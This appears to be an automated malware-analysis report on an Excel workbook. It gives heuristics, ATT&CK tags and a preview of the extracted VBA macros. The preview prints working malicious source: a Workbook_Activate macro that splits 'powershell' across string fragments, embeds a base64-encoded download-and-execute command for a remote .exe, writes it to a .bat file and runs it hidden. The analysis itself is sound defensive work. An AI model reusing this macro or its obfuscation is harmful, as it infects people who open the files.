MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The sample contains VBA macros that utilize obfuscated string concatenation to construct and execute a PowerShell command. This command is designed to download and execute a second-stage payload from the URL 'nanorgin.dns.eu/ufijec.exe'. The use of Shell() and the reassembled 'powershell' token indicate a clear intent to execute external code.
Heuristics 3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5795 bytes |
SHA-256: 71ec45a7214ff63121314b701fc853d2254519c5e9ea54be54d910ee510daa91 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
On Error Resume Next
Dim bat As String
Dim s As String
s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "
s = s + "JABQAHIAbwB"
s = s + "jAE4AYQBtAG"
s = s + "UAIAA9ACAAI"
s = s + "gBJAHQAZQB3"
s = s + "AGUAbQBsAGg"
s = s + "AaABpAG8AeA"
s = s + "B6AGcAcAAuA"
s = s + "GUAeABlACIA"
s = s + "OwAoAE4AZQB"
s = s + "3AC0ATwBiAG"
s = s + "oAZQBjAHQAI"
s = s + "ABTAHkAcwB0"
s = s + "AGUAbQAuAE4"
s = s + "AZQB0AC4AVw"
s = s + "BlAGIAQwBsA"
s = s + "GkAZQBuAHQA"
s = s + "KQAuAEQAbwB"
s = s + "3AG4AbABvAG"
s = s + "EAZABGAGkAb"
s = s + "ABlACgAIgBu"
s = s + "AGEAbgBvAHI"
s = s + "AZwBpAG4ALg"
s = s + "B5AGQAbgBzA"
s = s + "C4AZQB1AC8A"
s = s + "bwBmAGYAaQB"
s = s + "jAGUALgBlAH"
s = s + "gAZQAiACwAI"
s = s + "gAkAGUAbgB2"
s = s + "ADoAQQBQAFA"
s = s + "ARABBAFQAQQ"
s = s + "BcACQAUAByA"
s = s + "G8AYwBOAGEA"
s = s + "bQBlACIAKQA"
s = s + "7AFMAdABhAH"
s = s + "IAdAAtAFAAc"
s = s + "gBvAGMAZQBz"
s = s + "AHMAIAAoACI"
s = s + "AJABlAG4Adg"
s = s + "A6AEEAUABQA"
s = s + "EQAQQBUAEEA"
s = s + "XAAkAFAAcgB"
s = s + "vAGMATgBhAG"
s = s + "0AZQAiACkA"
Dim x As Double
ActiveWorkbook.Save
bat = "Klxtodvlbotvsoqoptchc.bat"
Open bat For Output As #1
Print #1, s
Close #1
x = Shell(bat, 0)
End Sub
Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "7. Drop-downs"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.